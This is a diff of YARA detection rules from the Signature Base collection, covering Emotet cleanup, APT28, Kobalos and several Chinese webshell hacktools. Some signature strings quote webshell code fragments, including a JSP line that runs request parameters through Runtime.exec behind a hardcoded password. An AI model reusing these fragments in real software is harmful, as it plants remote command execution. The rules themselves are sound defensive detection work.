+		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_emotet.yar#L39-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc75be5f641e21446a41bf9cc855330a612847e7e3a3be935577d33195f40d05"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
-		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
-		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
-		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
-		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
-		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
-		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
+		descripton = "The modified emotet binary replaces the original emotet on the system of the victim. The original emotet is copied to a quarantine for evidence-preservation."
+		note = "The quarantine folder depends on the scope of the initial emotet infection (user or administrator). It is the temporary folder as returned by GetTempPathW under a filename starting with UDP as returned by GetTempFileNameW. To prevent accidental reinfection by a user, the quarantined emotet is encrypted using RC4 and a 0x20 bytes long key found at the start of the quarantined file (see $key)."
+		sharing = "TLP:WHITE"
 
 	strings:
-		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
-		$s2 = "%d dumped" fullword ascii
-		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
-		$s4 = "\\SAM-%u.dmp" ascii
+		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
 
 	condition:
-		all of them
+		$key at 0
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Emotet_BKA_Cleanup_Apr21 : FILE
 {
 	meta:
-		description = "Kobalos malware"
-		author = "Marc-Etienne M.Leveille"
-		id = "dfa47e30-c093-57f6-af01-72a2534cc6f4"
-		date = "2020-11-02"
+		description = "No description has been set in the source file - Signature Base"
+		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
+		id = "10d93918-8a5e-54a3-81c6-f6ff68562e13"
+		date = "2021-03-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lnx_kobalos.yar#L32-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48aec47b70633d4c8cb55d90a2e168f3c2027ef27cfe1cd5d30dcdc08a2ff717"
+		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_emotet.yar#L54-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "533adaed96d015ea2dcd54d5aaf9e71b5b70430ed5733a98618925cf978a6515"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		descripton = "This rule targets a modified emotet binary deployed by the Bundeskriminalamt on the 26th of January 2021."
+		note = "The binary will replace the original emotet by copying it to a quarantine. It also contains a routine to perform a self-deinstallation on the 25th of April 2021. The three-month timeframe between rollout and self-deinstallation was chosen primarily for evidence purposes as well as to allow remediation."
+		sharing = "TLP:WHITE"
 
 	strings:
-		$encrypted_strings_sizes = {
-            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
-            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
-            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
-            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
-        }
-		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
-		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
-		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
+		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }
 
 	condition:
-		uint16(0)==0x457f and any of them
+		filesize >300KB and filesize <700KB and uint16(0)==0x5A4D and $key
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Kobalos_SSH_Credential_Stealer : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT28_Hospitalitymalware_Document : FILE
 {
 	meta:
-		description = "Kobalos SSH credential stealer seen in OpenSSH client"
-		author = "Marc-Etienne M.Leveille"
-		id = "0f923f92-c5d8-500d-9a2e-634ca7945c5c"
-		date = "2020-11-02"
+		description = "Yara Rule for APT28_Hospitality_Malware document identification"
+		author = "CSE CybSec Enterprise - Z-Lab"
+		id = "722e80ef-d729-5887-9853-cd06128f506d"
+		date = "2017-10-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lnx_kobalos.yar#L59-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fdabaea0c838e43b8716bcd102bdeebf2f08fc041b0b909333e3d9d6f94391fc"
+		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_hospitality.yar#L3-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "33c69e03e00c90dc0b673cdb042f8f979552086414bda9c9f17f3785214b05af"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		tlp = "white"
 
 	strings:
-		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"
+		$a = {75 52 B9 ED 1B D6 83 0F DB 24 CA 87 4F 5F 25 36 BF 66 BA}
+		$b = {EC 3B 6D 74 5B C5 95 F3 9E 24 5B FE 4A 64 C7 09 CE 07 C9 58 4E 62 3B}
 
 	condition:
-		uint16(0)==0x457f and any of them
+		all of them and filesize >75KB and filesize <82KB
 }
-rule SIGNATURE_BASE_SUSP_Base64_Encoded_Hex_Encoded_Code
+import "pe"
+
+rule SIGNATURE_BASE_APT28_Hospitalitymalware_Mvtband_File
 {
 	meta:
-		description = "Detects hex encoded code that has been base64 encoded"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2cfd278f-ff45-5e23-b552-dad688ab303b"
-		date = "2019-04-29"
+		description = "Yara Rule for mvtband.dll malware"
+		author = "CSE CybSec Enterprise - Z-Lab"
+		id = "f9e34c77-38b3-513e-bb29-148ac7058596"
+		date = "2017-10-02"
 		modified = "2023-12-05"
-		reference = "https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1451e2dd0e4e70a0f39f609331762cce369642e9fadbef83d932da2a0a6c60b"
-		score = 65
+		reference = "http://csecybsec.com/download/zlab/APT28_Hospitality_Malware_report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sofacy_hospitality.yar#L20-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d5da333444e7c9f023d9c6d8d1dec617859efdb26f9f6bc41e22ef27d2e3059a"
+		score = 75
 		quality = 85
 		tags = ""
+		tlp = "white"
 
 	strings:
-		$x1 = { 78 34 4e ?? ?? 63 65 44 ?? ?? 58 48 67 }
-		$x2 = { 63 45 44 ?? ?? 58 48 67 ?? ?? ?? 78 34 4e }
-		$fp1 = "Microsoft Azure Code Signp$"
+		$a = "DGMNOEP"
+		$b = {C7 45 94 0A 25 73 30 8D 45 94}
 
 	condition:
-		1 of ($x*) and not 1 of ($fp*)
+		all of them and pe.sections[2].raw_data_size==0
 }
-rule SIGNATURE_BASE_SUSP_Double_Base64_Encoded_Executable
+rule SIGNATURE_BASE_Tools_Cmd : FILE
 {
 	meta:
-		description = "Detects an executable that has been encoded with base64 twice"
+		description = "Chinese Hacktool Set - file cmd.jSp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6fb40ed3-1afc-5d5b-9373-4a8490177b20"
-		date = "2019-10-29"
+		id = "27c3cb44-9351-52a2-8e14-afade14e3384"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/TweeterCyber/status/1189073238803877889"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L19-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac739ed2af7dff70d7a05e661582a8fdd618e77aa5e0e0f42d6ea314265a129c"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L10-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
+		logic_hash = "fe1a157d53bd9a48848f2711844c5e12356652ca01c84c19429c55bbb12ea488"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "VFZwVEFRR" ascii wide
-		$ = "RWcFRBUU" ascii wide
-		$ = "UVnBUQVFF" ascii wide
-		$ = "VFZvQUFBQ" ascii wide
-		$ = "RWb0FBQU" ascii wide
-		$ = "UVm9BQUFB" ascii wide
-		$ = "VFZxQUFBR" ascii wide
-		$ = "RWcUFBQU" ascii wide
-		$ = "UVnFBQUFF" ascii wide
-		$ = "VFZwUUFBS" ascii wide
-		$ = "RWcFFBQU" ascii wide
-		$ = "UVnBRQUFJ" ascii wide
-		$ = "VFZxUUFBT" ascii wide
-		$ = "RWcVFBQU" ascii wide
-		$ = "UVnFRQUFN" ascii wide
+		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+		$s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
+		$s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+		$s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
+		$s4 = "while((a=in.read(b))!=-1){" fullword ascii
+		$s5 = "out.println(new String(b));" fullword ascii
+		$s6 = "out.print(\"</pre>\");" fullword ascii
+		$s7 = "out.print(\"<pre>\");" fullword ascii
+		$s8 = "int a = -1;" fullword ascii
+		$s9 = "byte[] b = new byte[2048];" fullword ascii
 
 	condition:
-		1 of them
+		filesize <3KB and 7 of them
 }
-rule SIGNATURE_BASE_SUSP_Reversed_Base64_Encoded_EXE : FILE
+rule SIGNATURE_BASE_Trigger_Drop : FILE
 {
 	meta:
-		description = "Detects an base64 encoded executable with reversed characters"
+		description = "Chinese Hacktool Set - file trigger_drop.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3b52e59e-7c0a-560f-8123-1099c52e7e3d"
-		date = "2020-04-06"
+		id = "3b4f32ff-2de2-5689-869a-8a8f55e7fa0c"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L47-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a2f1caf2235ee24f531c9f9a5ebdc0c97a90890218669749a4c83bede80a336"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L35-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
+		logic_hash = "fc998ea5c2a446278823e4336ddc6a22741f82c43fbdcd95b3d12ee6a27b1dd7"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "AEAAAAEQATpVT"
-		$s2 = "AAAAAAAAAAoVT"
-		$s3 = "AEAAAAEAAAqVT"
-		$s4 = "AEAAAAIAAQpVT"
-		$s5 = "AEAAAAMAAQqVT"
-		$sh1 = "SZk9WbgM1TEBibpBib1JHIlJGI09mbuF2Yg0WYyd2byBHIzlGaU" ascii
-		$sh2 = "LlR2btByUPREIulGIuVncgUmYgQ3bu5WYjBSbhJ3ZvJHcgMXaoR" ascii
-		$sh3 = "uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV" ascii
+		$s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+		$s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+		$s2 = "@mssql_query('DROP TRIGGER" ascii
+		$s3 = "if(empty($_GET['returnto']))" fullword ascii
 
 	condition:
-		filesize <10000KB and 1 of them
+		filesize <5KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Script_Base64_Blocks_Jun20_1
+rule SIGNATURE_BASE_Injectionparameters : FILE
 {
 	meta:
-		description = "Detects suspicious file with base64 encoded payload in blocks"
+		description = "Chinese Hacktool Set - file InjectionParameters.vb"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cef759a5-b02a-53e7-bf27-184eee6bc3fa"
-		date = "2020-06-05"
+		id = "a77bd0c6-8857-577f-831a-0fcf2537667e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://posts.specterops.io/covenant-v0-5-eee0507b85ba"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L70-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d456cbbbd76f543afe144a2876a02db834aa6b09ecd4d6aa2f25ce8eeac5de8"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L53-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
+		logic_hash = "6bb786256f7154013408323eeb597f91c609a2a26f5ae9e6d61e16bd9c16a577"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sa1 = "<script language=" ascii
-		$sb2 = { 41 41 41 22 2B 0D 0A 22 41 41 41 }
+		$s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
+		$s1 = "Public Class InjectionParameters" fullword ascii
 
 	condition:
-		all of them
+		filesize <13KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Reversed_Hacktool_Author : FILE
+rule SIGNATURE_BASE_Users_List : FILE
 {
 	meta:
-		description = "Detects a suspicious path traversal into a Windows folder"
+		description = "Chinese Hacktool Set - file users_list.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "33e20d75-af07-5df2-82c3-c48aec37a947"
-		date = "2020-06-10"
+		id = "2d90b593-6b65-502c-aeb0-8f2a3d65afd3"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L85-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3681fb11dabf9905915d23f4198145b503a260d628415fd79ad71d7703ba9f6f"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L69-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
+		logic_hash = "debd8e1d882cbbe6e720b86bec3ff3c78393cb225b3f0f9c7725cfced6582e71"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "iwiklitneg" fullword ascii wide
-		$x2 = " eetbus@ " ascii wide
+		$s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
+		$s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
+		$s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii
 
 	condition:
-		filesize <4000KB and 1 of them
+		filesize <12KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Base64_Encoded_Hacktool_Dev : FILE
+rule SIGNATURE_BASE_Trigger_Modify : FILE
 {
 	meta:
-		description = "Detects a suspicious base64 encoded keyword"
+		description = "Chinese Hacktool Set - file trigger_modify.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6dc7db4b-a614-51e4-a9a5-f869154dbbb1"
-		date = "2020-06-10"
+		id = "a7d65a9f-82de-554c-8f20-7560d2160041"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1270626274826911744"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_obfuscation.yar#L101-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7345a528a12f87e5cbcabccf649566a038dd2115e8aec4f39599e357c8c6d57f"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L86-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
+		logic_hash = "6ea0221af9e9a29d3280a01eec69e31e79c358e664d286f8c80259f5e826876c"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "QGdlbnRpbGtpd2" ascii wide
-		$ = "BnZW50aWxraXdp" ascii wide
-		$ = "AZ2VudGlsa2l3a" ascii wide
-		$ = "QGhhcm1qMH" ascii wide
-		$ = "BoYXJtajB5" ascii wide
-		$ = "AaGFybWowe" ascii wide
-		$ = "IEBzdWJ0ZW" ascii wide
-		$ = "BAc3VidGVl" ascii wide
-		$ = "gQHN1YnRlZ" ascii wide
+		$s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
+		$s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
+		$s3 = "if($_POST['query'] != '')" fullword ascii
+		$s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
+		$s5 = "<b>Modify Trigger</b>" fullword ascii
 
 	condition:
-		filesize <6000KB and 1 of them
+		filesize <15KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Sharpshooter_Excel4 : FILE
+rule SIGNATURE_BASE_Customize : FILE
 {
 	meta:
-		description = "Detects Excel documents weaponized with Sharpshooter"
-		author = "John Lambert, Florian Roth"
-		id = "a79e3afe-e8f9-5e56-a131-bb1b346df471"
-		date = "2020-03-27"
+		description = "Chinese Hacktool Set - file Customize.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a69e1234-cc85-5295-a45c-693afdfc368e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-xls/00b5dd7d-51ca-4938-b7b7-483fe0e5933b"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_Excel4Macro_Sharpshooter.yar#L1-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d"
-		logic_hash = "4aec8bb7ec8ce7ebd8228416133ea7eec995864aeec78c11548387d832b5fa65"
-		score = 70
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L105-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
+		logic_hash = "f4e0a7342a01411ae060c9d995072518f2e3299af1b0d396bb319eeec42c1519"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$header_docf = { D0 CF 11 E0 }
-		$s1 = "Excel 4.0 Macros"
-		$f1 = "CreateThread" ascii fullword
-		$f2 = "WriteProcessMemory" ascii fullword
-		$f3 = "Kernel32" ascii fullword
-		$concat = { 00 41 6f 00 08 1e ?? 00 41 6f 00 08 1e ?? 00 41 6f 00 08}
+		$s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
+		$s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
+		$s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
+		$s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii
 
 	condition:
-		filesize <1000KB and $header_docf at 0 and #concat>10 and $s1 and 2 of ($f*)
+		filesize <24KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Excel4Macro_Autoopen : FILE
+rule SIGNATURE_BASE_Oracle_Data
 {
 	meta:
-		description = "Detects Excel4 macro use with auto open / close"
-		author = "John Lambert @JohnLaTwC"
-		id = "cfed97fe-b330-5528-8402-08c6ba6af04a"
-		date = "2020-03-26"
+		description = "Chinese Hacktool Set - file oracle_data.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "faa62dcc-0f59-573c-8722-d07216de151f"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_Excel4Macro_Sharpshooter.yar#L27-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f"
-		logic_hash = "074aab8e1d3b66e34e8e8d8e8489e1dfee1091df0424b22cd1bfd3cf904754e1"
-		score = 50
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L123-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6cf070017be117eace4752650ba6cf96d67d2106"
+		logic_hash = "1ab9b6c4349dd891103a24a77c93c2abb784d3ed616523f3aaec68b05082983e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$header_docf = { D0 CF 11 E0 }
-		$s1 = "Excel" fullword
-		$Auto_Open = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
-		$Auto_Close = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
-		$Auto_Open1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
-		$Auto_Close1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
+		$s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
+		$s1 = "if(isset($_REQUEST['id']))" fullword ascii
+		$s2 = "$id=$_REQUEST['id'];" fullword ascii
 
 	condition:
-		filesize <3000KB and $header_docf at 0 and $s1 and any of ($Auto_*)
+		all of them
 }
-rule SIGNATURE_BASE_APT_MAL_CISA_10365227_03_Clientuploader_Dec21 : FILE
+rule SIGNATURE_BASE_Reduhservers_Reduh : FILE
 {
 	meta:
-		description = "Detects ClientUploader onedrv"
-		author = "CISA Code & Media Analysis"
-		id = "4eeadb28-9312-5602-932a-36acb48772f4"
-		date = "2021-12-23"
-		modified = "2021-12-24"
-		reference = "https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-277a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_stealer_cisa_ar22_277a.yar#L4-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76f552b2416ae2426b73a321485f34a611c2a3c1ca35791bc9f1834072dc28be"
-		score = 80
+		description = "Chinese Hacktool Set - file reDuh.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c87d971a-a16f-5593-88fb-6bcd207e0841"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_webshells.yar#L140-L155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "377886490a86290de53d696864e41d6a547223b0"
+		logic_hash = "dcb1515da696566d01ec64029a34438a56d2df480b9cd2ea586f71ffe3324c1a"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "84164e1e8074c2565d3cd178babd93694ce54811641a77ffdc8d1084dd468afb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Decoder2"
-		$s2 = "ClientUploader"
-		$s3 = "AppDomain"
-		$s4 = { 5F 49 73 52 65 70 47 ?? 44 65 63 6F 64 65 72 73 }
-		$s5 = "LzmaDecoder"
-		$s6 = "$ee1b3f3b-b13c-432e-a461-e52d273896a7"
+		$s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
+		$s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii
+		$s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
+		$s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		filesize <116KB and all of them
 }
